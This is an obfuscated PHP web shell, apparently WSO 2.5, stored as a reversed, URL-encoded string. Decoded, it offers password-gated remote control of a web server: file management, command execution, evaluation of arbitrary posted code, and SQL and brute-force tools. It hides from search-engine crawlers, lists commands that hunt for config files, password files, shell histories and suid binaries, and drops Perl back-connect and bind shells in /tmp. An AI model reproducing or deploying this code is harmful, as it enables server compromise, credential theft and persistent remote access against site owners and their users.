22%25%27.%29%29m%24%28tnuoc%2F001%28%29tni%28.%27%22%3Dhtdiw+ht%3C%27+%3D.+unem%24%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+m%24%28hcaerof%09%0D%0A%3B%27%27+%3D+unem%24%09%0D%0A%3B%27evomeRfleS%27+%3D+%5D%27evomer+fleS%27%5Bm%24%09%0D%0A%3B%27tuogoL%27+%3D+%5D%27tuogoL%27%5Bm%24%09%09%0D%0A%29%29%5D%27ssap_htua%27%5BSLABOLG%24%28ytpme%21%28fi%09%0D%0A%3B%29%27krowteN%27%3E%3D%27krowteN%27%2C%27ecrofeturB%27%3E%3D%27ecrofeturB%27%2C%27slooTgnirtS%27%3E%3D%27sloot+gnirtS%27%2C%27phP%27%3E%3D%27phP%27%2C%27lqS%27%3E%3D%27lqS%27%2C%27elosnoC%27%3E%3D%27elosnoC%27%2C%27naMseliF%27%3E%3D%27seliF%27%2C%27ofnIceS%27%3E%3D%27ofnI+.ceS%27%28yarra+%3D+m%24%09%0D%0A%0D%0A%3B%27%3Enoitpo%2F%3C%27.meti%24.%27%3E%27.%29%27%27%3A%27detceles%27%3Fmeti%24%3D%3D%5D%27tesrahc%27%5BTSOP_%24%28.%27+%22%27.meti%24.%27%22%3Deulav+noitpo%3C%27+%3D.+stesrahc_tpo%24%09%09%0D%0A%29meti%24+sa+stesrahc%24%28hcaerof%09%0D%0A%3B%27%27+%3D+stesrahc_tpo%24%09%0D%0A%3B%29%27668pc%27+%2C%27U-8IOK%27+%2C%27R-8IOK%27+%2C%271521-swodniW%27+%2C%278-FTU%27%28yarra+%3D+stesrahc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%22%3Ea%2F%3C%2F%22.%5Di%24%5Bhtap%24.%22%3E%27%29%22%5C%22+%3D.+sknil_dwc%24%09%09%0D%0A%3B%27%2F%27.%5Dj%24%5Bhtap%24+%3D.+sknil_dwc%24%09%09%09%0D%0A%29%2B%2Bj%24+%3Bi%24%3D%3Cj%24+%3B0%3Dj%24%28rof%09%09%0D%0A%3B%22%22%5C%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+%3D.+sknil_dwc%24%09%09%0D%0A%7B+%29%2B%2Bi%24+%3B1-n%24%3Ci%24+%3B0%3Di%24%28rof%09%0D%0A%3B%29htap%24%28tnuoc%3Dn%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2C%22%2F%22%28edolpxe+%3D+htap%24%09%0D%0A%3B%27%27+%3D+sknil_dwc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%5D%27dig%27%5Bdig%24+%3D+dig%24%09%09%0D%0A%3B%5D%27eman%27%5Bdig%24+%3D+puorg%24%09%09%0D%0A%3B%5D%27diu%27%5Bdiu%24+%3D+diu%24%09%09%0D%0A%3B%5D%27eman%27%5Bdiu%24+%3D+resu%24%09%09%0D%0A%3B%29%29%28digeteg_xisop%28digrgteg_xisop%40+%3D+dig%24%09%09%0D%0A%3B%29%29%28diueteg_xisop%28diuwpteg_xisop%40+%3D+diu%24%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%22%3F%22+%3D+puorg%24%09%09%0D%0A%3B%29%28digymteg%40+%3D+dig%24%09%09%0D%0A%3B%29%28diuymteg%40+%3D+diu%24%09%09%0D%0A%3B%29%28resu_tnerruc_teg%40+%3D+resu%24%09%09%0D%0A%7B+%29%29%27digeteg_xisop%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%3B%29%293%2C0%2Cesaeler%24%28rtsbus+.+%27+%27+.+lenrek%24%28edocnelru+%3D.+knilpxe%24%09%09%0D%0Aesle%09%0D%0A%3B%29%296%2C0%2Cesaeler%24%28rtsbus+.+%27+lenreK+xuniL%27%28edocnelru+%3D.+knilpxe%24%09%09%0D%0A%29eslaf+%3D%3D%21+%29lenrek%24+%2C%27xuniL%27%28soprts%28fi%09%0D%0A%3B%27%3Dnoitpircsed_retlif%26hcraes%3Dnoitca%3F%2Fhcraes%2Fmoc.bd-tiolpxe%2F%2F%3Aptth%27+%3D+knilpxe%24%09%0D%0A%3B%29%27s%27%28emanu_php%40+%3D+lenrek%24%09%0D%0A%3B%29%27r%27%28emanu_php%40+%3D+esaeler%24%09%0D%0A%3B1%3AecapSlatot%24%3FecapSlatot%24+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecaps_latot_ksid%40+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecapseerfksid%40+%3D+ecapSeerf%24%09%0D%0A%3B%22%3Emrof%2F%3C%0D%0A%3Etesrahc%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E3p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E2p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E1p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ec%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ea%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E%27%3Benon%3Ayalpsid%27%3Delyts+fm%3Deman+tsop%3Ddohtem+mrof%3C%0D%0A%3E%27%3B0%3Atfel%3B0%3Apot%3B444%23%3Aroloc-dnuorgkcab%3B%25001%3Ahtdiw%3Betulosba%3Anoitisop%27%3Delyts+vid%3C%3Eydob%3C%3Edaeh%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3B%29%27%21rorre+tseuqeR%27%28trela+esle+%7D%09%09%09%0D%0A%3B%29%29%5D1%5Brra+%2C0%28rtsbus.%5D2%5Brra%28lave%09%09%09%09%0D%0A%3B%29txeTesnopser.qer%28cexe.ger%3Drra+rav%09%09%09%09%0D%0A%3B%29%27m%27+%2C%22%5C%29%2A%5Ds%5C%5C%5C%5CS%5C%5C%5C%5C%5B%28%29%2Bd%5C%5C%5C%5C%28%22%5C%28pxEgeR+wen+%3D+ger+rav%09%09%09%09%0D%0A%7B+%29002+%3D%3D+sutats.qer%28fi%09%09%09%0D%0A%29+%294+%3D%3D+etatSydaer.qer%28+%28fi%09%09%0D%0A%7B+%29%28egnahCqeRssecorp+noitcnuf%09%0D%0A%7D%09%0D%0A%7D++++++++%0D%0A%3B%29smarap%28dnes.qer++++++++++++%0D%0A%3B%29%27dedocnelru-mrof-www-x%2Fnoitacilppa%27+%2C%27epyT-tnetnoC%27%28+redaeHtseuqeRtes.qer++++++++++++%0D%0A%3B%29eurt+%2Clru+%2C%27TSOP%27%28nepo.qer++++++++++++%0D%0A%3BegnahCqeRssecorp+%3D+egnahcetatsydaerno.qer++++++++++++%0D%0A%7B+%29qer%28+fi++++++++%0D%0A%3B%29%27PTTHLMX.tfosorciM%27%28tcejbOXevitcA+wen+%3D+qer%09%09%09%0D%0A%29tcejbOXevitcA.wodniw%28+fi+esle%09%09%0D%0A%3B%29%28tseuqeRpttHLMX+wen+%3D+qer%09%09%09%0D%0A%29tseuqeRpttHLMX.wodniw%28+fi%09%09%0D%0A%7B+%29smarap+%2Clru%28rs+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29smarap+%2C%27%22.+%29%5D%27IRU_TSEUQER%27%5BREVRES_%24%28sehsalsdda+.+%22%27%28rs%09%09%0D%0A%3B%29eulav.%5Di%5Bstnemele.fm.d%28tnenopmoCIRUedocne%2B%27%3D%27%2Beman.%5Di%5Bstnemele.fm.d%2B%27%26%27+%3D%2B+smarap%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.fm.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%3B%27eurt%3Dxaja%27+%3D+smarap+rav%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28a+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29%28timbus.fm.d%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28g+noitcnuf%09%0D%0A%7D%09%0D%0A%3B_tesrahc%3Deulav.tesrahc.fm.d+esle%3Btesrahc%3Deulav.tesrahc.fm.d%29llun%3D%21tesrahc%28fi%09%09%0D%0A%3B_3p%3Deulav.3p.fm.d+esle%3B3p%3Deulav.3p.fm.d%29llun%3D%213p%28fi%09%09%0D%0A%3B_2p%3Deulav.2p.fm.d+esle%3B2p%3Deulav.2p.fm.d%29llun%3D%212p%28fi%09%09%0D%0A%3B_1p%3Deulav.1p.fm.d+esle%3B1p%3Deulav.1p.fm.d%29llun%3D%211p%28fi%09%09%0D%0A%3B_c%3Deulav.c.fm.d+esle%3Bc%3Deulav.c.fm.d%29llun%3D%21c%28fi%09%09%0D%0A%3B_a%3Deulav.a.fm.d+esle%3Ba%3Deulav.a.fm.d%29llun%3D%21a%28fi%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes+noitcnuf%09%0D%0A%3Btnemucod+%3D+d+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%273p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%273p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_3p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%272p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%272p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_2p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%271p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_1p+rav++++%0D%0A%3B%27%22.+%29%5D%27tesrahc%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_tesrahc+rav++++%0D%0A%27%22.+%29%5D%27a%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_a+rav++++%0D%0A%3B%27%22+.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27+%3D+_c+rav++++%0D%0A%3Etpircs%3C%0D%0A%3Eelyts%2F%3C%0D%0A%7D%3BecapsonoM%2CreiruoC%3Aylimaf-tnof%7Berp%0D%0A%7D333%23%3Aroloc-dnuorgkcab%7B2l.%0D%0A%7D444%23%3Aroloc-dnuorgkcab%7B1l.%0D%0A%7De5e5e5%23%3Aroloc-dnuorgkcab%7Brevoh%3Art+niam.%0D%0A%7D%3Be5e5e5%23%3Aroloc-dnuorgkcab%3Btfel%3Angila-txet%7Bht+niam.%0D%0A%7D+xp003+%3Ahtdiw+%7BpnIsloot.%0D%0A%7D+%3Bretnec%3Angila-txet+%7BlbTsloot%23%0D%0A%7D+%3Bxp0%3Anigram+%7Bmrof%0D%0A%7D+%3B%27weN+reiruoC%27%2CecapsonoM+tp9+%3Atnof+%3Broloc%24+dilos+xp1%3Aredrob%3B555%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc%3B0%3Anigram+%7Btceles%2Caeratxet%2Ctupni%0D%0A%7D+%3Bxp003%3Athgieh%3B%25001%3Ahtdiw+%7Baeragib.%0D%0A%7D+%3Botua+%3Awolfrevo%3B0%3Anigram%3Bxp5%3Agniddap%3B444%23+dilos+xp1%3Aredrob+%7B1lm.%0D%0A%7D+%3Benilrednu%3Anoitaroced-txet+%7Brevoh%3Aa%0D%0A%7D+%3Benon%3Anoitaroced-txet+%7Ba%0D%0A%7D+%3B333%23%3Aroloc-dnuorgkcab%3Bxp5%3Atfel-nigram%3Bxp5+%3Agniddap+%7Btnetnoc.vid%0D%0A%7D+%3Bxp0%3Anigram%3B222%23%3Aroloc-dnuorgkcab%3BanadreV+tp41+%3Atnof%3Bxp5+xp2+%3Agniddap%3Broloc%24+dilos+xp5%3Atfel-redrob+%7B1h%0D%0A%7D+%3Bredlob+%3Athgiew-tnof+%7Bnaps%0D%0A%7D+%3Btnatropmi%21+roloc%24+%3Aroloc+%7Ba%2C1h%2Cnaps%0D%0A%7D+%3B222%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc+%7Bofni.elbat%0D%0A%7D+%3B1e1e1e%23%3Aroloc%3Bpot%3Angila-lacitrev%3B0%3Anigram%3BanadreV%2CadicuL+tp9+%3Atnof+%7Bht%2Cdt%2Cydob%0D%0A%7D%3B1e1e1e%23%3Aroloc%3B444%23%3Aroloc-dnuorgkcab%7Bydob%0D%0A%3Eelyts%3C%0D%0A%3Eeltit%2F%3C%22.+NOISREV_OSW+.+%22+OSW+-+%22+.+%5D%27TSOH_PTTH%27%5BREVRES_%24+.+%22%3Eeltit%3C%3E%27%22+.+%5D%27tesrahc%27%5BTSOP_%24+.+%22%3Dtesrahc+%3Blmth%2Ftxet%27%3Dtnetnoc+%27epyT-tnetnoC%27%3Dviuqe-ptth+atem%3C%3Edaeh%3C%3Elmth%3C%22+ohce%09%0D%0A%3Broloc%24+labolg%09%0D%0A%3B%5D%27tesrahc_tluafed%27%5BSLABOLG%24+%3D+%5D%27tesrahc%27%5BTSOP_%24%09%09%0D%0A%29%29%5D%27tesrahc%27%5BTSOP_%24%28ytpme%28fi%09%0D%0A%7B+%29%28redaeHosw+noitcnuf%0D%0A%0D%0A%3B%29%09%0D%0A%22virp+etacol%22+%3E%3D+%22selif+virp+etacol%22%09%09%0D%0A%2C%22pmud+etacol%22+%3E%3D+%22selif+pmud+etacol%22%09%09%0D%0A%2C%22pukcab+etacol%22+%3E%3D+%22selif+pukcab+etacol%22%09%09%0D%0A%2C%22%27crliamhctef.%27+etacol%22+%3E%3D+%22selif+crliamhctef.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_lqsym.%27+etacol%22+%3E%3D+%22selif+yrotsih_lqsym.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_hsab.%27+etacol%22+%3E%3D+%22selif+yrotsih_hsab.+etacol%22%09%09%0D%0A%2C%22%27dwssapth.%27+etacol%22+%3E%3D+%22selif+dwssapth.+etacol%22%09%09%0D%0A%2C%22%27lqs.%27+etacol%22+%3E%3D+%22selif+lqs.+etacol%22%09%09%0D%0A%2C%22%27dwp.%27+etacol%22+%3E%3D+%22selif+dwp.+etacol%22%09%09%0D%0A%2C%22%27fnoc.%27+etacol%22%3E%3D%22selif+fnoc.+etacol%22%09%09%0D%0A%2C%22gifnoc+etacol%22+%3E%3D+%22+selif+%2Agifnoc+etacol%22%09%09%0D%0A%2C%22php.tluafed.gifnoc+etacol%22+%3E%3D+%22selif+php.tluafed.gifnoc+etacol%22%09%09%0D%0A%2C%22php.cni.gifnoc+etacol%22+%3E%3D+%22php.cni.gifnoc+etacol%22%09%09%0D%0A%2C%22cni.gifnoc+etacol%22+%3E%3D+%22selif+cni.gifnoc+etacol%22%09%09%0D%0A%2C%22php.gifnoc+etacol%22+%3E%3D+%22selif+php.gifnoc+etacol%22%09%09%0D%0A%2C%22tad.gifnoc+etacol%22+%3E%3D+%22selif+tad.gifnoc+etacol%22%09%09%0D%0A%2C%22php.fnoc+etacol%22+%3E%3D+%22selif+php.fnoc+etacol%22%09%09%0D%0A%2C%22php.gfc+etacol%22+%3E%3D+%22selif+php.gfc+etacol%22%09%09%0D%0A%2C%22php.nimda+etacol%22%3E%3D+%22selif+php.nimda+etacol%22%09%09%0D%0A%2C%22fnoc.ym+etacol%22+%3E%3D+%22selif+fnoc.ym+etacol%22%09%09%0D%0A%2C%22fnoc.cnbysp+etacol%22+%3E%3D+%22selif+fnoc.cnbysp+etacol%22%09%09%0D%0A%2C%22fnoc.dptforp+etacol%22+%3E%3D+%22selif+fnoc.dptforp+etacol%22%09%09%0D%0A%2C%22fnoc.stsohv+etacol%22+%3E%3D+%22selif+fnoc.stsohv+etacol%22%09%09%0D%0A%2C%22fnoc.dptth+etacol%22+%3E%3D+%22selif+fnoc.dptth+etacol%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22etacoL%22%09%09%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+crliamhctef.+dnif%22%09%09++%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+crliamhctef.+lla+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+yrotsih_hsab.+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+yrotsih_hsab.+lla+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwssapth.+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwssapth.+lla+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwp.ecivres+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwp.ecivres+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+%2F+dnif%22+%3E%3D+%22selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22php.cni.gifnoc+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+php.cni.gifnoc+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+digs+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+digs+lla+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dius+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dius+lla+dnif%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22dniF%22%09%09%0D%0A%2C%22xua+sp%22+%3E%3D+%22sutats+ssecorp%22++++++++%0D%0A%2C%22netsil+i-+perg+%7C+na-+tatsten%22+%3E%3D+%22strop+denepo+wohs%22%09%09++%0D%0A%2C%22av-+rttasl%22+%3E%3D+%22metsys+elif+dednetxe+dnoces+xuniL+a+no+setubirtta+elif+tsil%22%09%09%0D%0A%2C%22ahl-+sl%22+%3E%3D+%22rid+tsiL%22%09%09++%0D%0A%28yarra+%3D+sesaila%24%09%0D%0Aesle%0D%0A%3B%29%09%0D%0A%22lla%2F+gifnocpi%22+%3E%3D+%22noitarugifnoC+PI%22%09%09%0D%0A%2C%22a-+pra%22+%3E%3D+%22elbaT+PRA%22%09%09%0D%0A%2C%22weiv+ten%22+%3E%3D+%22sretupmoc+wohS%22%09++++%0D%0A%2C%22resu+ten%22+%3E%3D+%22stnuocca+resU%22%09++++%0D%0A%2C%22trats+ten%22+%3E%3D+%22secivres+gninnur+wohS%22%09++++%0D%0A%2C%22na-+tatsten%22+%3E%3D+%22snoitcennoc+evitca+wohS%22%09++++%0D%0A%2C%22php.%2Agifnoc%2A+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.%2Agifnoc%2A+dniF%22%09++++%0D%0A%2C%22php.xedni+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.xedni+dniF%22%09++++%0D%0A%2C%22rid%22+%3E%3D+%22yrotceriD+tsiL%22%09%09%0D%0A%28yarra+%3D+sesaila%24%09%0D%0A%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%0D%0A%3Bxaja_esu_tluafed%24%29loob%28+%3D+%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24++++%0D%0A%29%29%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28fi%0D%0A%0D%0A%3B%27%2F%27+%3D.+dwc%24%09%0D%0A%29%27%2F%27+%3D%21+%5D1-%29dwc%24%28nelrts%5Bdwc%24%28fi%0D%0A%7D%0D%0A%3B%29dwc%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc%24%09%0D%0A%3B%29dwc_emoh%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc_emoh%24%09%0D%0A%7B+%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc%24%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28ridhc%40%09%0D%0A%29%29%5D%27c%27%5BTSOP_%24%28tessi%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc_emoh%24%0D%0A%3B%29%27snoitcnuf_elbasid%27%28teg_ini%40+%3D+snoitcnuf_elbasid%24%0D%0A%0D%0A%3B%290%28gnitroper_rorre++++%0D%0A%29edom_efas%24%21%28fi%0D%0A%3B%29%27edom_efas%27%28teg_ini%40+%3D+edom_efas%24%0D%0A%0D%0A%3B%27xin%27+%3D+so%24%09%0D%0Aesle%0D%0A%3B%27niw%27+%3D+so%24%09%0D%0A%29%22niw%22+%3D%3D+%29%293%2C0%2CSO_PHP%28rtsbus%28rewolotrts%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29%28nigoLosw++++++++%0D%0A%29%29ssap_htua%24+%3D%21+%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28+%7C%7C+%29%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28+fi++++%0D%0A%0D%0A%3B%29ssap_htua%24+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29ssap_htua%24+%3D%3D+%29%5D%27ssap%27%5BTSOP_%24%285dm%28+%26%26+%29%5D%27ssap%27%5BTSOP_%24%28tessi%28fi++++%0D%0A%7B+%29%29ssap_htua%24%28ytpme%21%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29v%24+%2Ck%24%28eikooctes++++%0D%0A%3Bv%24+%3D+%5Dk%24%5BEIKOOC_%24++++%0D%0A%7B+%29v%24+%2Ck%24%28eikooctesOSW+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%22%3Eerp%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Essap%3Deman+drowssap%3Depyt+tupni%3C+%3AdrowssaP%3Etsop%3Ddohtem+mrof%3C%3Eretnec%3Dngila+erp%3C%22%28eid%09%0D%0A%7B+%29%28nigoLosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29EIKOOC_%24%28sehsalspirtsOSW+%3D+EIKOOC_%24++++%0D%0A%3B%29TSOP_%24%28sehsalspirtsOSW+%3D+TSOP_%24%09%0D%0A%7D%09%0D%0A%3B%29yarra%24%28sehsalspirts+%3A+%29yarra%24+%2C%27sehsalspirtsOSW%27%28pam_yarra+%3F+%29yarra%24%28yarra_si+nruter%09%09%0D%0A%7B+%29yarra%24%28sehsalspirtsOSW+noitcnuf%09%0D%0A%7B+%29%29%28cpg_setouq_cigam_teg%28fi%0D%0A%0D%0A%3B%29%275.2%27+%2C%27NOISREV_OSW%27%28enifed%40%0D%0A%3B%290%28timil_emit_tes%40%0D%0A%3B%290%2C%27emit_noitucexe_xam%27%28tes_ini%40%0D%0A%3B%290%2C%27srorre_gol%27%28tes_ini%40%0D%0A%3B%29LLUN%2C%27gol_rorre%27%28tes_ini%40%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Btixe++++++++%0D%0A%3B%29%27dnuoF+toN+404+0.1%2FPTTH%27%28redaeh++++++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24+%2C%27i%2F%27+.+%29stnegAresu%24+%2C%27%7C%27%28edolpmi+.+%27%2F%27%28hctam_gerp%28fi++++%0D%0A%3B%29%22relbmaR%22+%2C%22xednaY%22+%2C%22revihcra_ai%22+%2C%22toBNSM%22+%2C%22prulS%22+%2C%22elgooG%22%28yarra+%3D+stnegAresu%24++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24%28ytpme%21%28fi%0D%0A%0D%0A%3B%271521-swodniW%27+%3D+tesrahc_tluafed%24%0D%0A%3Beurt+%3D+xaja_esu_tluafed%24%0D%0A%3B%27naMseliF%27+%3D+noitca_tluafed%24%0D%0A%3B%225fd%23%22+%3D+roloc%24%0D%0A%3B%22%22+%3D+ssap_htua%24";
$code = @";tixe\r\n;)]'a'[TSOP_\$ . 'noitca'(cnuf_resu_llac\t\r\n) )]'a'[TSOP_\$ . 'noitca'(stsixe_noitcnuf && )]'a'[TSOP_\$(ytpme! (fi\r\n;'ofnIceS' = ]'a'[TSOP_\$\t\t\r\nesle\t\r\n;noitca_tluafed\$ = ]'a'[TSOP_\$\t\t\r\n))noitca_tluafed\$ . 'noitca'(stsixe_noitcnuf && )noitca_tluafed\$(tessi(fi\t\r\n) )]'a'[TSOP_\$(ytpme (fi\r\n}\r\n}\t\r\n;)]'1p'[TSOP_\$(lave\t\t\r\n{ esle }\t\r\n;)a\$(ezilaires ohce\t\t\r\n;)\t\t\r\n)'edom_efas'(teg_ini@ >= \"edomefas\"\t\t\t\r\n,NOISREV_OSW >= \"noisrev_osw\"\t\t\t\r\n,)(noisrevphp >= \"noisrev_php\"\t\t\t\r\n,)(emanu_php >= \"emanu\"\t\t\t\r\n(yarra = a\$\t\t\r\n{ )]'1p'[TSOP_\$@!(fi\t\r\n{ )(CRnoitca noitcnuf\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<' ohce\t\r\n}\t\r\n}\t\t\r\n;)\"lp.cb/pmt/\"(knilnu \r\n;\">erp/<\".)\"lp.cb perg | xua sp\"(xEosw.\"n\\tuo\$>1lm=ssalc erp<\" ohce\t\t\t\r\n;)1(peels \r\n;)\"& 1&>2 llun/ved/>1 \".]'3p'[TSOP_\$.\" \".]'2p'[TSOP_\$.\" lp.cb/pmt/ lrep\"(xEosw = tuo\$\t\t\t\r\n;)p_tcennoc_kcab\$,\"lp.cb/pmt/\"(fc\t\t\t\r\n{ )'pcb' == ]'1p'[TSOP_\$(fi\t\t\r\n}\t\t\r\n;)\"lp.pb/pmt/\"(knilnu \r\n;\">erp/<\".)\"lp.pb perg | xua sp\"(xEosw.\"n\\tuo\$>1lm=ssalc erp<\" ohce\t\t\t\r\n;)1(peels \r\n;)\"& 1&>2 llun/ved/>1 \".]'2p'[TSOP_\$.\" lp.pb/pmt/ lrep\"(xEosw = tuo\$\t\t\t\r\n;)p_trop_dnib\$,\"lp.pb/pmt/\"(fc\t\t\t\r\n{ )'ppb' == ]'1p'[TSOP_\$(fi\t\t\r\n}\t\t\r\n}\t\t\t\r\n;)w\$(esolcf@\t\t\t\t\r\n;))t\$(edoced_46esab@,w\$(etirwf@\t\t\t\t\r\n{)w\$(fi\t\t\t\r\n;)'stnetnoc_tup_elif'(stsixe_noitcnuf@ ro )\"w\",f\$(nepof@ = w\$\t\t\t\r\n{ )t\$,f\$(fc noitcnuf\t\t\r\n{ ))]'1p'[TSOP_\$(tessi(fi\t\r\n;\">rb<>mrof/<\t\r\n>'>>'=eulav timbus=epyt tupni< >'73313'=eulav 'trop'=eman 'txet'=epyt tupni< :troP >'\". ]'RDDA_ETOMER'[REVRES_\$ .\"'=eulav 'revres'=eman 'txet'=epyt tupni< :revreS\t\r\n>/rb<>naps/<]lrep[ tcennoc-kcaB>naps<\t\r\n>\"\\;eslaf nruter;)eulav.trop.siht,eulav.revres.siht,'pcb',llun,llun(g\"\\=timbuSno 'pfn'=eman mrof<\t\r\n>mrof/<\t\r\n>'>>'=eulav timbus=epyt tupni< >'73313'=eulav 'trop'=eman 'txet'=epyt tupni< :troP\t\r\n>/rb<>naps/<]lrep[ hs/nib/ ot trop dniB>naps<\t\r\n>\"\\;eslaf nruter;)eulav.trop.siht,'ppb',llun,llun(g\"\\=timbuSno 'pfn'=eman mrof<\t\r\n>tnetnoc=ssalc vid<>1h/<sloot krowteN>1h<\" 